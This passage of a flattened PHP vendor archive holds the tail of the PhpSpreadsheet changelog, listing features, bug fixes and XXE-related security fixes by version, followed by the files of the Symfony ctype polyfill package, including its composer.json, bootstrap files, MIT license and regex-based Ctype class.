[#1056](https://github.com/PHPOffice/PhpSpreadsheet/issues/1056) - HLookup needs an ordered list even if range_lookup is set to false [#1055](https://github.com/PHPOffice/PhpSpreadsheet/issues/1055) and [#1076](https://github.com/PHPOffice/PhpSpreadsheet/pull/1076) - Improve performance of IF function calls via ranch pruning to avoid resolution of every branches [#844](https://github.com/PHPOffice/PhpSpreadsheet/pull/844) - MATCH function supports `*?~` Excel functionality, when match_type=0 [#1116](https://github.com/PHPOffice/PhpSpreadsheet/issues/1116) - Allow HTML Reader to accept HTML as a string [#1136](https://github.com/PHPOffice/PhpSpreadsheet/pull/1136) ### Fixed - Fix to AVERAGEIF() function when called with a third argument - Eliminate duplicate fill none style entries [#1066](https://github.com/PHPOffice/PhpSpreadsheet/issues/1066) - Fix number format masks containing literal (non-decimal point) dots [#1079](https://github.com/PHPOffice/PhpSpreadsheet/issues/1079) - Fix number format masks containing named colours that were being misinterpreted as date formats; and add support for masks that fully replace the value with a full text string [#1009](https://github.com/PHPOffice/PhpSpreadsheet/issues/1009) - Stricter-typed comparison testing in COUNTIF() and COUNTIFS() evaluation [#1046](https://github.com/PHPOffice/PhpSpreadsheet/issues/1046) - COUPNUM should not return zero when settlement is in the last period [#1020](https://github.com/PHPOffice/PhpSpreadsheet/issues/1020) and [#1021](https://github.com/PHPOffice/PhpSpreadsheet/pull/1021) - Fix handling of named ranges referencing sheets with spaces or "!" in their title - Cover `getSheetByName()` with tests for name with quote and spaces [#739](https://github.com/PHPOffice/PhpSpreadsheet/issues/739) - Best effort to support invalid colspan values in HTML reader - [#878](https://github.com/PHPOffice/PhpSpreadsheet/pull/878) - Fixes incorrect rows deletion [#868](https://github.com/PHPOffice/PhpSpreadsheet/issues/868) - MATCH function fix (value search by type, stop search when match_type=-1 and unordered element encountered) [#1116](https://github.com/PHPOffice/PhpSpreadsheet/issues/1116) - Fix `getCalculatedValue()` error with more than two INDIRECT [#1115](https://github.com/PHPOffice/PhpSpreadsheet/pull/1115) - Writer\Html did not hide columns [#985](https://github.com/PHPOffice/PhpSpreadsheet/pull/985) ## 1.8.2 - 2019-07-08 ### Fixed - Uncaught error when opening ods file and properties aren't defined [#1047](https://github.com/PHPOffice/PhpSpreadsheet/issues/1047) - Xlsx Reader Cell datavalidations bug [#1052](https://github.com/PHPOffice/PhpSpreadsheet/pull/1052) ## 1.8.1 - 2019-07-02 ### Fixed - Allow nullable theme for Xlsx Style Reader class [#1043](https://github.com/PHPOffice/PhpSpreadsheet/issues/1043) ## 1.8.0 - 2019-07-01 ### Security Fix (CVE-2019-12331) - Detect double-encoded xml in the Security scanner, and reject as suspicious. - This change also broadens the scope of the `libxml_disable_entity_loader` setting when reading XML-based formats, so that it is enabled while the xml is being parsed and not simply while it is loaded. On some versions of PHP, this can cause problems because it is not thread-safe, and can affect other PHP scripts running on the same server. This flag is set to true when instantiating a loader, and back to its original setting when the Reader is no longer in scope, or manually unset. - Provide a check to identify whether libxml_disable_entity_loader is thread-safe or not. `XmlScanner::threadSafeLibxmlDisableEntityLoaderAvailability()` - Provide an option to disable the libxml_disable_entity_loader call through settings. This is not recommended as it reduces the security of the XML-based readers, and should only be used if you understand the consequences and have no other choice. ### Added - Added support for the SWITCH function [#963](https://github.com/PHPOffice/PhpSpreadsheet/issues/963) and [#983](https://github.com/PHPOffice/PhpSpreadsheet/pull/983) - Add accounting number format style [#974](https://github.com/PHPOffice/PhpSpreadsheet/pull/974) ### Fixed - Whitelist `tsv` extension when opening CSV files [#429](https://github.com/PHPOffice/PhpSpreadsheet/issues/429) - Fix a SUMIF warning with some versions of PHP when having different length of arrays provided as input [#873](https://github.com/PHPOffice/PhpSpreadsheet/pull/873) - Fix incorrectly handled backslash-escaped space characters in number format ## 1.7.0 - 2019-05-26 - Added support for inline styles in Html reader (borders, alignment, width, height) - QuotedText cells no longer treated as formulae if the content begins with a `=` - Clean handling for DDE in formulae ### Fixed - Fix handling for escaped enclosures and new lines in CSV Separator Inference - Fix MATCH an error was appearing when comparing strings against 0 (always true) - Fix wrong calculation of highest column with specified row [#700](https://github.com/PHPOffice/PhpSpreadsheet/issues/700) - Fix VLOOKUP - Fix return type hint ## 1.6.0 - 2019-01-02 ### Added - Refactored Matrix Functions to use external Matrix library - Possibility to specify custom colors of values for pie and donut charts [#768](https://github.com/PHPOffice/PhpSpreadsheet/pull/768) ### Fixed - Improve XLSX parsing speed if no readFilter is applied [#772](https://github.com/PHPOffice/PhpSpreadsheet/issues/772) - Fix column names if read filter calls in XLSX reader skip columns [#777](https://github.com/PHPOffice/PhpSpreadsheet/pull/777) - XLSX reader can now ignore blank cells, using the setReadEmptyCells(false) method. [#810](https://github.com/PHPOffice/PhpSpreadsheet/issues/810) - Fix LOOKUP function which was breaking on edge cases [#796](https://github.com/PHPOffice/PhpSpreadsheet/issues/796) - Fix VLOOKUP with exact matches [#809](https://github.com/PHPOffice/PhpSpreadsheet/pull/809) - Support COUNTIFS multiple arguments [#830](https://github.com/PHPOffice/PhpSpreadsheet/pull/830) - Change `libxml_disable_entity_loader()` as shortly as possible [#819](https://github.com/PHPOffice/PhpSpreadsheet/pull/819) - Improved memory usage and performance when loading large spreadsheets [#822](https://github.com/PHPOffice/PhpSpreadsheet/pull/822) - Improved performance when loading large spreadsheets [#825](https://github.com/PHPOffice/PhpSpreadsheet/pull/825) - Improved performance when loading large spreadsheets [#824](https://github.com/PHPOffice/PhpSpreadsheet/pull/824) - Fix color from CSS when reading from HTML [#831](https://github.com/PHPOffice/PhpSpreadsheet/pull/831) - Fix infinite loop when reading invalid ODS files [#832](https://github.com/PHPOffice/PhpSpreadsheet/pull/832) - Fix time format for duration is incorrect [#666](https://github.com/PHPOffice/PhpSpreadsheet/pull/666) - Fix iconv unsupported `//IGNORE//TRANSLIT` on IBM i [#791](https://github.com/PHPOffice/PhpSpreadsheet/issues/791) ### Changed - `master` is the new default branch, `develop` does not exist anymore ## 1.5.2 - 2018-11-25 ### Security - Improvements to the design of the XML Security Scanner [#771](https://github.com/PHPOffice/PhpSpreadsheet/issues/771) ## 1.5.1 - 2018-11-20 ### Security - Fix and improve XXE security scanning for XML-based and HTML Readers [#771](https://github.com/PHPOffice/PhpSpreadsheet/issues/771) ### Added - Support page margin in mPDF [#750](https://github.com/PHPOffice/PhpSpreadsheet/issues/750) ### Fixed - Support numeric condition in SUMIF, SUMIFS, AVERAGEIF, COUNTIF, MAXIF and MINIF [#683](https://github.com/PHPOffice/PhpSpreadsheet/issues/683) - SUMIFS containing multiple conditions [#704](https://github.com/PHPOffice/PhpSpreadsheet/issues/704) - Csv reader avoid notice when the file is empty [#743](https://github.com/PHPOffice/PhpSpreadsheet/pull/743) - Fix print area parser for XLSX reader [#734](https://github.com/PHPOffice/PhpSpreadsheet/pull/734) - Support overriding `DefaultValueBinder::dataTypeForValue()` without overriding `DefaultValueBinder::bindValue()` [#735](https://github.com/PHPOffice/PhpSpreadsheet/pull/735) - Mpdf export can exceed pcre.backtrack_limit [#637](https://github.com/PHPOffice/PhpSpreadsheet/issues/637) - Fix index overflow on data values array [#748](https://github.com/PHPOffice/PhpSpreadsheet/pull/748) ## 1.5.0 - 2018-10-21 ### Added - PHP 7.3 support - Add the DAYS() function [#594](https://github.com/PHPOffice/PhpSpreadsheet/pull/594) ### Fixed - Sheet title can contain exclamation mark [#325](https://github.com/PHPOffice/PhpSpreadsheet/issues/325) - Xls file cause the exception during open by Xls reader [#402](https://github.com/PHPOffice/PhpSpreadsheet/issues/402) - Skip non numeric value in SUMIF [#618](https://github.com/PHPOffice/PhpSpreadsheet/pull/618) - OFFSET should allow omitted height and width [#561](https://github.com/PHPOffice/PhpSpreadsheet/issues/561) - Correctly determine delimiter when CSV contains line breaks inside enclosures [#716](https://github.com/PHPOffice/PhpSpreadsheet/issues/716) ## 1.4.1 - 2018-09-30 ### Fixed - Remove locale from formatting string [#644](https://github.com/PHPOffice/PhpSpreadsheet/pull/644) - Allow iterators to go out of bounds with prev [#587](https://github.com/PHPOffice/PhpSpreadsheet/issues/587) - Fix warning when reading xlsx without styles [#631](https://github.com/PHPOffice/PhpSpreadsheet/pull/631) - Fix broken sample links on windows due to $baseDir having backslash [#653](https://github.com/PHPOffice/PhpSpreadsheet/pull/653) ## 1.4.0 - 2018-08-06 ### Added - Add excel function EXACT(value1, value2) support [#595](https://github.com/PHPOffice/PhpSpreadsheet/pull/595) - Support workbook view attributes for Xlsx format [#523](https://github.com/PHPOffice/PhpSpreadsheet/issues/523) - Read and write hyperlink for drawing image [#490](https://github.com/PHPOffice/PhpSpreadsheet/pull/490) - Added calculation engine support for the new bitwise functions that were added in MS Excel 2013 - BITAND() Returns a Bitwise 'And' of two numbers - BITOR() Returns a Bitwise 'Or' of two number - BITXOR() Returns a Bitwise 'Exclusive Or' of two numbers - BITLSHIFT() Returns a number shifted left by a specified number of bits - BITRSHIFT() Returns a number shifted right by a specified number of bits - Added calculation engine support for other new functions that were added in MS Excel 2013 and MS Excel 2016 - Text Functions - CONCAT() Synonym for CONCATENATE() - NUMBERVALUE() Converts text to a number, in a locale-independent way - UNICHAR() Synonym for CHAR() in PHPSpreadsheet, which has always used UTF-8 internally - UNIORD() Synonym for ORD() in PHPSpreadsheet, which has always used UTF-8 internally - TEXTJOIN() Joins together two or more text strings, separated by a delimiter - Logical Functions - XOR() Returns a logical Exclusive Or of all arguments - Date/Time Functions - ISOWEEKNUM() Returns the ISO 8601 week number of the year for a given date - Lookup and Reference Functions - FORMULATEXT() Returns a formula as a string - Financial Functions - PDURATION() Calculates the number of periods required for an investment to reach a specified value - RRI() Calculates the interest rate required for an investment to grow to a specified future value - Engineering Functions - ERF.PRECISE() Returns the error function integrated between 0 and a supplied limit - ERFC.PRECISE() Synonym for ERFC - Math and Trig Functions - SEC() Returns the secant of an angle - SECH() Returns the hyperbolic secant of an angle - CSC() Returns the cosecant of an angle - CSCH() Returns the hyperbolic cosecant of an angle - COT() Returns the cotangent of an angle - COTH() Returns the hyperbolic cotangent of an angle - ACOT() Returns the cotangent of an angle - ACOTH() Returns the hyperbolic cotangent of an angle - Refactored Complex Engineering Functions to use external complex number library - Added calculation engine support for the new complex number functions that were added in MS Excel 2013 - IMCOSH() Returns the hyperbolic cosine of a complex number - IMCOT() Returns the cotangent of a complex number - IMCSC() Returns the cosecant of a complex number - IMCSCH() Returns the hyperbolic cosecant of a complex number - IMSEC() Returns the secant of a complex number - IMSECH() Returns the hyperbolic secant of a complex number - IMSINH() Returns the hyperbolic sine of a complex number - IMTAN() Returns the tangent of a complex number ### Fixed - Fix ISFORMULA() function to work with a cell reference to another worksheet - Xlsx reader crashed when reading a file with workbook protection [#553](https://github.com/PHPOffice/PhpSpreadsheet/pull/553) - Cell formats with escaped spaces were causing incorrect date formatting [#557](https://github.com/PHPOffice/PhpSpreadsheet/issues/557) - Could not open CSV file containing HTML fragment [#564](https://github.com/PHPOffice/PhpSpreadsheet/issues/564) - Exclude the vendor folder in migration [#481](https://github.com/PHPOffice/PhpSpreadsheet/issues/481) - Chained operations on cell ranges involving borders operated on last cell only [#428](https://github.com/PHPOffice/PhpSpreadsheet/issues/428) - Avoid memory exhaustion when cloning worksheet with a drawing [#437](https://github.com/PHPOffice/PhpSpreadsheet/issues/437) - Migration tool keep variables containing $PHPExcel untouched [#598](https://github.com/PHPOffice/PhpSpreadsheet/issues/598) - Rowspans/colspans were incorrect when adding worksheet using loadIntoExisting [#619](https://github.com/PHPOffice/PhpSpreadsheet/issues/619) ## 1.3.1 - 2018-06-12 ### Fixed - Ranges across Z and AA columns incorrectly threw an exception [#545](https://github.com/PHPOffice/PhpSpreadsheet/issues/545) ## 1.3.0 - 2018-06-10 ### Added - Support to read Xlsm templates with form elements, macros, printer settings, protected elements and back compatibility drawing, and save result without losing important elements of document [#435](https://github.com/PHPOffice/PhpSpreadsheet/issues/435) - Expose sheet title maximum length as `Worksheet::SHEET_TITLE_MAXIMUM_LENGTH` [#482](https://github.com/PHPOffice/PhpSpreadsheet/issues/482) - Allow escape character to be set in CSV reader [#492](https://github.com/PHPOffice/PhpSpreadsheet/issues/492) ### Fixed - Subtotal 9 in a group that has other subtotals 9 exclude the totals of the other subtotals in the range [#332](https://github.com/PHPOffice/PhpSpreadsheet/issues/332) - `Helper\Html` support UTF-8 HTML input [#444](https://github.com/PHPOffice/PhpSpreadsheet/issues/444) - Xlsx loaded an extra empty comment for each real comment [#375](https://github.com/PHPOffice/PhpSpreadsheet/issues/375) - Xlsx reader do not read rows and columns filtered out in readFilter at all [#370](https://github.com/PHPOffice/PhpSpreadsheet/issues/370) - Make newer Excel versions properly recalculate formulas on document open [#456](https://github.com/PHPOffice/PhpSpreadsheet/issues/456) - `Coordinate::extractAllCellReferencesInRange()` throws an exception for an invalid range [#519](https://github.com/PHPOffice/PhpSpreadsheet/issues/519) - Fixed parsing of conditionals in COUNTIF functions [#526](https://github.com/PHPOffice/PhpSpreadsheet/issues/526) - Corruption errors for saved Xlsx docs with frozen panes [#532](https://github.com/PHPOffice/PhpSpreadsheet/issues/532) ## 1.2.1 - 2018-04-10 ### Fixed - Plain text and richtext mixed in same cell can be read [#442](https://github.com/PHPOffice/PhpSpreadsheet/issues/442) ## 1.2.0 - 2018-03-04 ### Added - HTML writer creates a generator meta tag [#312](https://github.com/PHPOffice/PhpSpreadsheet/issues/312) - Support invalid zoom value in XLSX format [#350](https://github.com/PHPOffice/PhpSpreadsheet/pull/350) - Support for `_xlfn.` prefixed functions and `ISFORMULA`, `MODE.SNGL`, `STDEV.S`, `STDEV.P` [#390](https://github.com/PHPOffice/PhpSpreadsheet/pull/390) ### Fixed - Avoid potentially unsupported PSR-16 cache keys [#354](https://github.com/PHPOffice/PhpSpreadsheet/issues/354) - Check for MIME type to know if CSV reader can read a file [#167](https://github.com/PHPOffice/PhpSpreadsheet/issues/167) - Use proper € symbol for currency format [#379](https://github.com/PHPOffice/PhpSpreadsheet/pull/379) - Read printing area correctly when skipping some sheets [#371](https://github.com/PHPOffice/PhpSpreadsheet/issues/371) - Avoid incorrectly overwriting calculated value type [#394](https://github.com/PHPOffice/PhpSpreadsheet/issues/394) - Select correct cell when calling freezePane [#389](https://github.com/PHPOffice/PhpSpreadsheet/issues/389) - `setStrikethrough()` did not set the font [#403](https://github.com/PHPOffice/PhpSpreadsheet/issues/403) ## 1.1.0 - 2018-01-28 ### Added - Support for PHP 7.2 - Support cell comments in HTML writer and reader [#308](https://github.com/PHPOffice/PhpSpreadsheet/issues/308) - Option to stop at a conditional styling, if it matches (only XLSX format) [#292](https://github.com/PHPOffice/PhpSpreadsheet/pull/292) - Support for line width for data series when rendering Xlsx [#329](https://github.com/PHPOffice/PhpSpreadsheet/pull/329) ### Fixed - Better auto-detection of CSV separators [#305](https://github.com/PHPOffice/PhpSpreadsheet/issues/305) - Support for shape style ending with `;` [#304](https://github.com/PHPOffice/PhpSpreadsheet/issues/304) - Freeze Panes takes wrong coordinates for XLSX [#322](https://github.com/PHPOffice/PhpSpreadsheet/issues/322) - `COLUMNS` and `ROWS` functions crashed in some cases [#336](https://github.com/PHPOffice/PhpSpreadsheet/issues/336) - Support XML file without styles [#331](https://github.com/PHPOffice/PhpSpreadsheet/pull/331) - Cell coordinates which are already a range cause an exception [#319](https://github.com/PHPOffice/PhpSpreadsheet/issues/319) ## 1.0.0 - 2017-12-25 ### Added - Support to write merged cells in ODS format [#287](https://github.com/PHPOffice/PhpSpreadsheet/issues/287) - Able to set the `topLeftCell` in freeze panes [#261](https://github.com/PHPOffice/PhpSpreadsheet/pull/261) - Support `DateTimeImmutable` as cell value - Support migration of prefixed classes ### Fixed - Can read very small HTML files [#194](https://github.com/PHPOffice/PhpSpreadsheet/issues/194) - Written DataValidation was corrupted [#290](https://github.com/PHPOffice/PhpSpreadsheet/issues/290) - Date format compatible with both LibreOffice and Excel [#298](https://github.com/PHPOffice/PhpSpreadsheet/issues/298) ### BREAKING CHANGE - Constant `TYPE_DOUGHTNUTCHART` is now `TYPE_DOUGHNUTCHART`. ## 1.0.0-beta2 - 2017-11-26 ### Added - Support for chart fill color - @CrazyBite [#158](https://github.com/PHPOffice/PhpSpreadsheet/pull/158) - Support for read Hyperlink for xml - @GreatHumorist [#223](https://github.com/PHPOffice/PhpSpreadsheet/pull/223) - Support for cell value validation according to data validation rules - @SailorMax [#257](https://github.com/PHPOffice/PhpSpreadsheet/pull/257) - Support for custom implementation, or configuration, of PDF libraries - @SailorMax [#266](https://github.com/PHPOffice/PhpSpreadsheet/pull/266) ### Changed - Merge data-validations to reduce written worksheet size - @billblume [#131](https://github.com/PHPOffice/PhpSpreadSheet/issues/131) - Throws exception if a XML file is invalid - @GreatHumorist [#222](https://github.com/PHPOffice/PhpSpreadsheet/pull/222) - Upgrade to mPDF 7.0+ [#144](https://github.com/PHPOffice/PhpSpreadsheet/issues/144) ### Fixed - Control characters in cell values are automatically escaped [#212](https://github.com/PHPOffice/PhpSpreadsheet/issues/212) - Prevent color changing when copy/pasting xls files written by PhpSpreadsheet to another file - @al-lala [#218](https://github.com/PHPOffice/PhpSpreadsheet/issues/218) - Add cell reference automatic when there is no cell reference('r' attribute) in Xlsx file. - @GreatHumorist [#225](https://github.com/PHPOffice/PhpSpreadsheet/pull/225) Refer to [#201](https://github.com/PHPOffice/PhpSpreadsheet/issues/201) - `Reader\Xlsx::getFromZipArchive()` function return false if the zip entry could not be located. - @anton-harvey [#268](https://github.com/PHPOffice/PhpSpreadsheet/pull/268) ### BREAKING CHANGE - Extracted coordinate method to dedicate class [migration guide](./docs/topics/migration-from-PHPExcel.md). - Column indexes are based on 1, see the [migration guide](./docs/topics/migration-from-PHPExcel.md). - Standardization of array keys used for style, see the [migration guide](./docs/topics/migration-from-PHPExcel.md). - Easier usage of PDF writers, and other custom readers and writers, see the [migration guide](./docs/topics/migration-from-PHPExcel.md). - Easier usage of chart renderers, see the [migration guide](./docs/topics/migration-from-PHPExcel.md). - Rename a few more classes to keep them in their related namespaces: - `CalcEngine` => `Calculation\Engine` - `PhpSpreadsheet\Calculation` => `PhpSpreadsheet\Calculation\Calculation` - `PhpSpreadsheet\Cell` => `PhpSpreadsheet\Cell\Cell` - `PhpSpreadsheet\Chart` => `PhpSpreadsheet\Chart\Chart` - `PhpSpreadsheet\RichText` => `PhpSpreadsheet\RichText\RichText` - `PhpSpreadsheet\Style` => `PhpSpreadsheet\Style\Style` - `PhpSpreadsheet\Worksheet` => `PhpSpreadsheet\Worksheet\Worksheet` ## 1.0.0-beta - 2017-08-17 ### Added - Initial implementation of SUMIFS() function - Additional codepages - MemoryDrawing not working in HTML writer [#808](https://github.com/PHPOffice/PHPExcel/issues/808) - CSV Reader can auto-detect the separator used in file [#141](https://github.com/PHPOffice/PhpSpreadsheet/pull/141) - HTML Reader supports some basic inline styles [#180](https://github.com/PHPOffice/PhpSpreadsheet/pull/180) ### Changed - Start following [SemVer](https://semver.org) properly. ### Fixed - Fix to getCell() method when cell reference includes a worksheet reference - @MarkBaker - Ignore inlineStr type if formula element exists - @ncrypthic [#570](https://github.com/PHPOffice/PHPExcel/issues/570) - Excel 2007 Reader freezes because of conditional formatting - @rentalhost [#575](https://github.com/PHPOffice/PHPExcel/issues/575) - Readers will now parse files containing worksheet titles over 31 characters [#176](https://github.com/PHPOffice/PhpSpreadsheet/pull/176) - Fixed PHP8 deprecation warning for libxml_disable_entity_loader() [#1625](https://github.com/phpoffice/phpspreadsheet/pull/1625) ### General - Whitespace after toRichTextObject() - @MarkBaker [#554](https://github.com/PHPOffice/PHPExcel/issues/554) - Optimize vlookup() sort - @umpirsky [#548](https://github.com/PHPOffice/PHPExcel/issues/548) - c:max and c:min elements shall NOT be inside c:orientation elements - @vitalyrepin [#869](https://github.com/PHPOffice/PHPExcel/pull/869) - Implement actual timezone adjustment into PHPExcel_Shared_Date::PHPToExcel - @sim642 [#489](https://github.com/PHPOffice/PHPExcel/pull/489) ### BREAKING CHANGE - Introduction of namespaces for all classes, eg: `PHPExcel_Calculation_Functions` becomes `PhpOffice\PhpSpreadsheet\Calculation\Functions` - Some classes were renamed for clarity and/or consistency: For a comprehensive list of all class changes, and a semi-automated migration path, read the [migration guide](./docs/topics/migration-from-PHPExcel.md). - Dropped `PHPExcel_Calculation_Functions::VERSION()`. Composer or git should be used to know the version. - Dropped `PHPExcel_Settings::setPdfRenderer()` and `PHPExcel_Settings::setPdfRenderer()`. Composer should be used to autoload PDF libs. - Dropped support for HHVM ## Previous versions of PHPExcel The changelog for the project when it was called PHPExcel is [still available](./CHANGELOG.PHPExcel.md). ### Changed - Replace ezyang/htmlpurifier (LGPL2.1) with voku/anti-xss (MIT) symfony/polyfill-ctype/composer.json000064400000001701151676714400013760 0ustar00{ "name": "symfony/polyfill-ctype", "type": "library", "description": "Symfony polyfill for ctype functions", "keywords": ["polyfill", "compatibility", "portable", "ctype"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Gert de Pagter", "email": "BackEndTea@gmail.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=7.1" }, "provide": { "ext-ctype": "*" }, "autoload": { "psr-4": { "Symfony\\Polyfill\\Ctype\\": "" }, "files": [ "bootstrap.php" ] }, "suggest": { "ext-ctype": "For best performance" }, "minimum-stability": "dev", "extra": { "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } } } symfony/polyfill-ctype/bootstrap80.php000064400000003162151676714400014137 0ustar00<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Ctype as p; if (!function_exists('ctype_alnum')) { function ctype_alnum(mixed $text): bool { return p\Ctype::ctype_alnum($text); } } if (!function_exists('ctype_alpha')) { function ctype_alpha(mixed $text): bool { return p\Ctype::ctype_alpha($text); } } if (!function_exists('ctype_cntrl')) { function ctype_cntrl(mixed $text): bool { return p\Ctype::ctype_cntrl($text); } } if (!function_exists('ctype_digit')) { function ctype_digit(mixed $text): bool { return p\Ctype::ctype_digit($text); } } if (!function_exists('ctype_graph')) { function ctype_graph(mixed $text): bool { return p\Ctype::ctype_graph($text); } } if (!function_exists('ctype_lower')) { function ctype_lower(mixed $text): bool { return p\Ctype::ctype_lower($text); } } if (!function_exists('ctype_print')) { function ctype_print(mixed $text): bool { return p\Ctype::ctype_print($text); } } if (!function_exists('ctype_punct')) { function ctype_punct(mixed $text): bool { return p\Ctype::ctype_punct($text); } } if (!function_exists('ctype_space')) { function ctype_space(mixed $text): bool { return p\Ctype::ctype_space($text); } } if (!function_exists('ctype_upper')) { function ctype_upper(mixed $text): bool { return p\Ctype::ctype_upper($text); } } if (!function_exists('ctype_xdigit')) { function ctype_xdigit(mixed $text): bool { return p\Ctype::ctype_xdigit($text); } } symfony/polyfill-ctype/LICENSE000064400000002054151676714400012245 0ustar00Copyright (c) 2018-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. symfony/polyfill-ctype/Ctype.php000064400000014673151676714400013047 0ustar00<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Polyfill\Ctype; /** * Ctype implementation through regex. * * @internal * * @author Gert de Pagter <BackEndTea@gmail.com> */ final class Ctype { /** * Returns TRUE if every character in text is either a letter or a digit, FALSE otherwise. * * @see https://php.net/ctype-alnum * * @param mixed $text * * @return bool */ public static function ctype_alnum($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^A-Za-z0-9]/', $text); } /** * Returns TRUE if every character in text is a letter, FALSE otherwise. * * @see https://php.net/ctype-alpha * * @param mixed $text * * @return bool */ public static function ctype_alpha($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^A-Za-z]/', $text); } /** * Returns TRUE if every character in text is a control character from the current locale, FALSE otherwise. * * @see https://php.net/ctype-cntrl * * @param mixed $text * * @return bool */ public static function ctype_cntrl($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^\x00-\x1f\x7f]/', $text); } /** * Returns TRUE if every character in the string text is a decimal digit, FALSE otherwise. * * @see https://php.net/ctype-digit * * @param mixed $text * * @return bool */ public static function ctype_digit($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^0-9]/', $text); } /** * Returns TRUE if every character in text is printable and actually creates visible output (no white space), FALSE otherwise. * * @see https://php.net/ctype-graph * * @param mixed $text * * @return bool */ public static function ctype_graph($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^!-~]/', $text); } /** * Returns TRUE if every character in text is a lowercase letter. * * @see https://php.net/ctype-lower * * @param mixed $text * * @return bool */ public static function ctype_lower($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^a-z]/', $text); } /** * Returns TRUE if every character in text will actually create output (including blanks). Returns FALSE if text contains control characters or characters that do not have any output or control function at all. * * @see https://php.net/ctype-print * * @param mixed $text * * @return bool */ public static function ctype_print($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^ -~]/', $text); } /** * Returns TRUE if every character in text is printable, but neither letter, digit or blank, FALSE otherwise. * * @see https://php.net/ctype-punct * * @param mixed $text * * @return bool */ public static function ctype_punct($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^!-\/\:-@\[-`\{-~]/', $text); } /** * Returns TRUE if every character in text creates some sort of white space, FALSE otherwise. Besides the blank character this also includes tab, vertical tab, line feed, carriage return and form feed characters. * * @see https://php.net/ctype-space * * @param mixed $text * * @return bool */ public static function ctype_space($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^\s]/', $text); } /** * Returns TRUE if every character in text is an uppercase letter. * * @see https://php.net/ctype-upper * * @param mixed $text * * @return bool */ public static function ctype_upper($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^A-Z]/', $text); } /** * Returns TRUE if every character in text is a hexadecimal 'digit', that is a decimal digit or a character from [A-Fa-f] , FALSE otherwise. * * @see https://php.net/ctype-xdigit * * @param mixed $text * * @return bool */ public static function ctype_xdigit($text) { $text = self::convert_int_to_char_for_ctype($text, __FUNCTION__); return \is_string($text) && '' !== $text && !preg_match('/[^A-Fa-f0-9]/', $text); } /** * Converts integers to their char versions according to normal ctype behaviour, if needed. * * If an integer between -128 and 255 inclusive is provided, * it is interpreted as the ASCII value of a single character * (negative values have 256 added in order to allow characters in the Extended ASCII range). * Any other integer is interpreted as a string containing the decimal digits of the integer. * * @param mixed $int * @param string $function * * @return mixed */ private static function convert_int_to_char_for_ctype($int, $function) { if (!\is_int($int)) { return $int; } if ($int < -128 || $int > 255) { return (string) $int; } if (\PHP_VERSION_ID >= 80100) { @trigger_error($function.'(): Argument of type int will be interpreted as string in the future', \E_USER_DEPRECATED); } if ($int < 0) { $int += 256; } return \chr($int); } } symfony/polyfill-ctype/bootstrap.php000064400000003100151676714400013757 0ustar00<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ use Symfony\Polyfill\Ctype as p; if (\PHP_VERSION_ID >= 80000) { return require __DIR__.'/bootstrap80.php'; } if (!function_exists('ctype_alnum')) { function ctype_alnum($text) { return p\Ctype::ctype_alnum($text); } } if (!function_exists('ctype_alpha')) { function ctype_alpha($text) { return p\Ctype::ctype_alpha($text); } } if (!function_exists('ctype_cntrl')) { function ctype_cntrl($text) { return p\Ctype::ctype_cntrl($text); } } if (!function_exists('ctype_digit')) { function ctype_digit($text) { return p\Ctype::ctype_digit($text); } } if (!function_exists('ctype_graph')) { function ctype_graph($text) { return p\Ctype::ctype_graph($text); } } if (!function_exists('ctype_lower')) { function ctype_lower($text) { return p\Ctype::ctype_lower($text); } } if (!function_exists('ctype_print')) { function ctype_print($text) { return p\Ctype::ctype_print($text); } } if (!function_exists('ctype_punct')) { function ctype_punct($text) { return p\Ctype::ctype_punct($text); } } if (!function_exists('ctype_space')) { function ctype_space($text) { return p\Ctype::ctype_space($text); } } if (!function_exists('ctype_upper')) { function ctype_upper($text) { return p\Ctype::ctype_upper($text); } } if (!function_exists('ctype_xdigit')) { function ctype_xdigit($text) { return p\Ctype::ctype_xdigit($text); } } symfony/polyfill-ctype/README.md000064400000000536151676714400012522 0ustar00Symfony Polyfill / Ctype ======================== 